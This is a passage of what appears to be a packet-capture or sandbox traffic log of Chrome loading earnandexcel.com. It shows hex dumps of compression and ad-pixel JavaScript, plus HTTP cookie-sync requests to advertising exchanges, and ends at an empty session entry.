2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 33 3a 61 3b 64 6f 7b 72 3d 72 2b 28 69 3d 69 2b 65 5b 6e 2b 2b 5d 7c 30 29 7c 30 7d 77 68 69 6c 65 28 2d 2d 73 29 3b 69 25 3d 36 35 35 32 31 2c 72 25 3d 36 35 35 32 31 7d 72 65 74 75 72 6e 20 69 7c 72 3c 3c 31 36 7c 30 7d 7d 2c 32 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 2c 65 3d 5b 5d 2c 61 3d 30 3b 61 3c 32 35 36 3b 61 2b 2b 29 7b 74 3d 61 3b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 38 3b 6e 2b 2b 29 74 3d 31 26 74 3f 33 39 38 38 32 39 32 33 38 34 5e 74 3e 3e 3e 31 3a 74 3e 3e 3e 31 3b 65 5b 61 5d 3d 74 7d 72 65 74 75 72 6e 20 65 7d 28 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 2c 69 29 7b Data Ascii: 3:a;do{r=r+(i=i+e[n++]\|0)\|0}while(--s);i%=65521,r%=65521}return i\|r<<16\|0}},20:function(t,e,a){"use strict";var n=function(){for(var t,e=[],a=0;a<256;a++){t=a;for(var n=0;n<8;n++)t=1&t?3988292384^t>>>1:t>>>1;e[a]=t}return e}();t.exports=function(t,e,a,i){
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 75 72 6e 20 65 7d 2c 65 2e 62 75 66 32 62 69 6e 73 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6c 28 74 2c 74 2e 6c 65 6e 67 74 68 29 7d 2c 65 2e 62 69 6e 73 74 72 69 6e 67 32 62 75 66 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 65 77 20 6e 2e 42 75 66 38 28 74 2e 6c 65 6e 67 74 68 29 2c 61 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 61 3c 69 3b 61 2b 2b 29 65 5b 61 5d 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 61 29 3b 72 65 74 75 72 6e 20 65 7d 2c 65 2e 62 75 66 32 73 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 61 2c 6e 2c 69 2c 72 2c 6f 3d 65 7c 7c 74 2e 6c 65 6e 67 74 68 2c 68 3d 6e 65 77 20 41 72 72 61 79 28 32 2a 6f 29 3b 66 6f 72 28 6e 3d 30 2c 61 3d 30 3b 61 3c 6f Data Ascii: urn e},e.buf2binstring=function(t){return l(t,t.length)},e.binstring2buf=function(t){for(var e=new n.Buf8(t.length),a=0,i=e.length;a<i;a++)e[a]=t.charCodeAt(a);return e},e.buf2string=function(t,e){var a,n,i,r,o=e\|\|t.length,h=new Array(2*o);for(n=0,a=0;a<o
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 61 3d 31 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 61 3c 6e 3b 61 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 65 3d 61 72 67 75 6d 65 6e 74 73 5b 61 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 69 29 26 26 28 74 5b 69 5d 3d 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 74 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 3b 76 61 72 20 69 3d 61 28 33 37 29 2c 72 3d 28 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e Data Ascii: tion(){return(n=Object.assign\|\|function(t){for(var e,a=1,n=arguments.length;a<n;a++)for(var i in e=arguments[a])Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i]);return t}).apply(this,arguments)};e.__esModule=!0;var i=a(37),r=(window&&window.location
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 65 3d 6e 6f 6e 65 3b 73 65 63 75 72 65 3b 70 61 74 68 3d 22 2b 69 2b 72 7d 2c 74 68 69 73 2e 77 72 69 74 65 50 69 78 65 6c 4d 61 70 54 6f 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 2e 70 69 78 65 6c 4d 61 70 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 61 3d 65 2e 70 69 78 65 6c 4d 61 70 5b 74 5d 2c 6e 3d 61 2e 69 64 2c 69 3d 61 2e 73 79 6e 63 5f 63 6f 6d 70 6c 65 74 65 3b 72 65 74 75 72 6e 7b 69 64 3a 6e 2c 73 79 6e 63 5f 73 74 61 72 74 3a 61 2e 73 79 6e 63 5f 73 74 61 72 74 2c 73 79 6e 63 5f 63 6f 6d 70 6c 65 74 65 3a 69 7d 7d 29 2c 61 3d 69 2e 65 6e 63 6f 64 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 76 65 72 73 69 6f 6e 3a 73 2c 70 69 78 65 6c 73 3a 74 Data Ascii: e=none;secure;path="+i+r},this.writePixelMapToCookie=function(){var t=Object.keys(e.pixelMap).map(function(t){var a=e.pixelMap[t],n=a.id,i=a.sync_complete;return{id:n,sync_start:a.sync_start,sync_complete:i}}),a=i.encode(JSON.stringify({version:s,pixels:t
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 2c 74 68 69 73 2e 70 72 6f 63 65 73 73 50 69 78 65 6c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3b 74 3d 65 2e 70 69 78 65 6c 51 75 65 75 65 2e 73 68 69 66 74 28 29 3b 29 7b 76 61 72 20 61 3d 74 2e 69 64 3b 65 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 5b 61 5d 7c 7c 28 65 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 5b 61 5d 3d 74 2c 65 2e 6c 6f 61 64 50 69 78 65 6c 28 74 29 29 7d 7d 2c 74 68 69 73 2e 69 6d 70 62 75 73 55 72 6c 3d 74 7c 7c 64 2c 74 68 69 73 2e 70 69 78 65 6c 51 75 65 75 65 3d 5b 5d 2c 74 68 69 73 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 3d 7b 7d 2c 74 68 69 73 2e 70 69 78 65 6c 4d 61 70 3d 74 68 69 73 2e 72 65 61 64 50 69 78 65 6c 4d 61 70 46 72 6f 6d 43 6f 6f Data Ascii: .firstChild)},this.processPixels=function(){for(var t;t=e.pixelQueue.shift();){var a=t.id;e.pixelRequestMap[a]\|\|(e.pixelRequestMap[a]=t,e.loadPixel(t))}},this.impbusUrl=t\|\|d,this.pixelQueue=[],this.pixelRequestMap={},this.pixelMap=this.readPixelMapFromCoo
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 29 3e 3e 38 29 2c 65 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 32 35 35 26 61 29 29 2c 65 7d 7d 2c 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3b 66 6f 72 28 74 3d 53 74 72 69 6e 67 28 74 29 2c 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 74 2e 63 68 61 72 43 6f 64 65 41 74 28 65 29 3e 32 35 35 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 61 3d 22 22 3b 66 6f 72 28 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 3d 33 29 7b 76 61 72 20 6e 3d 5b 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 5d 3b 6e 5b 30 5d 3d 74 2e 63 68 61 72 43 6f 64 Data Ascii: )>>8),e+=String.fromCharCode(255&a)),e}},40:function(t,e,a){"use strict";t.exports=function(t){var e;for(t=String(t),e=0;e<t.length;e++)if(t.charCodeAt(e)>255)return null;var a="";for(e=0;e<t.length;e+=3){var n=[void 0,void 0,void 0,void 0];n[0]=t.charCod
2024-04-11 21:26:59 UTC	1371	IN	Data Raw: 65 77 20 45 72 72 6f 72 28 73 5b 61 5d 29 3b 69 66 28 65 2e 68 65 61 64 65 72 26 26 6e 2e 64 65 66 6c 61 74 65 53 65 74 48 65 61 64 65 72 28 74 68 69 73 2e 73 74 72 6d 2c 65 2e 68 65 61 64 65 72 29 2c 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 7b 76 61 72 20 5f 3b 69 66 28 5f 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 64 69 63 74 69 6f 6e 61 72 79 3f 72 2e 73 74 72 69 6e 67 32 62 75 66 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3a 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d 22 3d 3d 3d 6c 2e 63 61 6c 6c 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3a 65 2e 64 69 63 74 69 6f 6e 61 72 79 2c 28 61 3d 6e 2e 64 65 66 6c 61 74 65 53 65 74 44 69 63 Data Ascii: ew Error(s[a]);if(e.header&&n.deflateSetHeader(this.strm,e.header),e.dictionary){var _;if(_="string"==typeof e.dictionary?r.string2buf(e.dictionary):"[object ArrayBuffer]"===l.call(e.dictionary)?new Uint8Array(e.dictionary):e.dictionary,(a=n.deflateSetDic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.17	50066	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	893	OUT	GET /getuid?gdpr=&cmp_cs=&us_privacy=1---&redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dtriplelift%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	825	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Length: 0 Connection: close Location: /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=1---&redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dtriplelift%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3952083078138885077332; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:26:59 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3952083078138885077332; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:26:59 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.17	50062	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	902	OUT	GET /w/1.0/cm?id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId= HTTP/1.1 Host: u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	672	IN	HTTP/1.1 302 Found Set-Cookie: i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819; Version=1; Expires=Fri, 11-Apr-2025 21:26:59 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://u.openx.net/w/1.0/cm?cc=1&id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId= Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.17	50065	54.209.123.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	870	OUT	GET /usync/9534?us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dgumgum%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	362	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 3017 Connection: close Server: nginx Set-Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b; Domain=.gumgum.com; Expires=Fri, 11 Apr 2025 21:26:59 GMT; Path=/; Secure; SameSite=None ETag: "0d4dde1f50295ab85d814d07e02dcc14e" Timing-Allow-Origin: *
2024-04-11 21:26:59 UTC	3017	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 61 70 6e 26 69 3d 24 55 49 44 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 2f 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 67 75 6d 67 75 6d 32 26 75 73 65 72 5f 69 64 3d 75 5f 61 34 63 62 35 36 36 63 2d 64 32 39 63 2d 34 38 31 63 2d 38 32 66 35 2d 64 36 35 37 32 35 35 64 31 34 31 62 Data Ascii: <html><head><title></title></head><body><img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/><img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.17	50070	172.240.155.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	879	OUT	GET /ortb.gif?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dhuddled_masses%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%5BUID%5D HTTP/1.1 Host: sync.colossusssp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	736	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 11 Apr 2024 21:26:59 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: gtm_usr=f5bcfd20-57d0-4d5c-ab4b-540db988386c; path=/; domain=.colossusssp.com; expires=Fri, 11 Apr 2025 21:26:59 GMT;SameSite=None;Secure Set-Cookie: lmg_r=15; path=/; domain=.colossusssp.com; expires=Fri, 11 Apr 2025 21:26:59 GMT;SameSite=None;Secure Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Location: https://exchange.mediavine.com/usersync/redirect?partner=huddled_masses&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=f5bcfd20-57d0-4d5c-ab4b-540db988386c Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
2024-04-11 21:26:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.17	50073	34.36.130.12	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	949	OUT	GET /api/sync?external_reference=mediavine&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&redirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dchicory%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%25CHICORY_ID%25 HTTP/1.1 Host: e.chicoryapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	386	IN	HTTP/1.1 301 Moved Permanently location: https://exchange.mediavine.com/usersync/redirect?partner=chicory&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=AAJv6k7MMKsAABU-q1DFIA vary: Origin,Accept-Encoding date: Thu, 11 Apr 2024 21:26:59 GMT Content-Length: 0 via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.17	50060	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	930	OUT	GET /bh/rtset?pid=562036&ev=3a6574e0-f84a-11ee-a9d1-333cefc92741&rurl=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpulsepoint%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%25%25VGUID%25%25 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	1493	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-stage-0 Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: V=8CYd5xB94ljT;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 06-Apr-2025 21:26:59 GMT;Max-Age=31104000;SameSite=None Set-Cookie: VP=part_8CYd5xB94ljT;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Sun, 06-Apr-2025 21:26:59 GMT;SameSite=None;Partitioned Set-Cookie: pb_rtb_ev=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Fri, 11-Apr-2025 21:26:59 GMT;Max-Age=31536000;SameSite=None Set-Cookie: pb_rtb_ev_part=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Fri, 11-Apr-2025 21:26:59 GMT;SameSite=None;Partitioned Location: https://exchange.mediavine.com/usersync/redirect?partner=pulsepoint&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=8CYd5xB94ljT&ev=3a6574e0-f84a-11ee-a9d1-333cefc92741&pid=562036 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000 Set-Cookie: INGRESSCOOKIE=7acdf80a4cc27df5; path=/; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.17	50074	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	913	OUT	GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&bundle=AgxCM19OMTU3WG1Nak5XeHJCS1Q0ejlLWVFuJTJCdm1Uc0E3R0diSUJwQTJEZHBqSDJpTWVraU9wMnA2NW9sbHlhejNUUmRIQXB0VDhyN0Y4OEcyTWpGVW1jNVN6b2Rqb3NJU1VEWmpya2ZSY1pVQkZNUm1ScEdkVmRxclRkTlZjSyUyQjBVaEE&lsw=1&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: application/json Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	479	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 11 Apr 2024 21:26:59 GMT server: Kestrel access-control-allow-credentials: true access-control-allow-methods: GET access-control-allow-origin: https://earnandexcel.com cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 567319 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:26:59 UTC	366	IN	Data Raw: 31 36 32 0d 0a 7b 22 62 75 6e 64 6c 65 22 3a 22 37 6f 64 50 61 56 39 4f 4d 54 55 33 57 47 31 4e 61 6b 35 58 65 48 4a 43 53 31 51 30 65 6a 6c 4c 57 56 46 32 4e 6d 35 58 5a 7a 6b 78 53 6a 41 77 52 48 52 51 63 7a 6b 77 55 55 46 49 63 32 59 78 5a 30 46 70 63 44 4e 49 64 33 4e 4f 62 56 5a 69 62 55 52 6f 59 6d 70 4a 56 58 49 35 55 47 74 73 4e 56 52 52 5a 57 38 30 55 43 55 79 52 6b 70 69 52 53 55 79 52 6b 4e 72 63 46 4e 53 62 44 51 30 59 31 52 4f 65 6b 70 34 51 7a 6c 53 53 47 73 31 51 30 6c 53 4f 57 68 4e 64 7a 46 59 55 30 39 6d 51 57 30 79 59 31 41 6c 4d 6b 4a 4c 52 46 52 6b 63 6e 42 73 4d 30 39 54 57 67 22 2c 22 62 69 64 49 64 22 3a 22 38 6d 58 43 4d 46 38 30 5a 55 30 35 65 6e 5a 44 52 58 4a 61 55 6c 64 30 52 46 56 35 52 43 55 79 52 6a 68 35 63 55 64 51 57 44 Data Ascii: 162{"bundle":"7odPaV9OMTU3WG1Nak5XeHJCS1Q0ejlLWVF2Nm5XZzkxSjAwRHRQczkwUUFIc2YxZ0FpcDNId3NObVZibURoYmpJVXI5UGtsNVRRZW80UCUyRkpiRSUyRkNrcFNSbDQ0Y1ROekp4QzlSSGs1Q0lSOWhNdzFYU09mQW0yY1AlMkJLRFRkcnBsM09TWg","bidId":"8mXCMF80ZU05enZDRXJaUld0RFV5RCUyRjh5cUdQWD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.17	50067	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
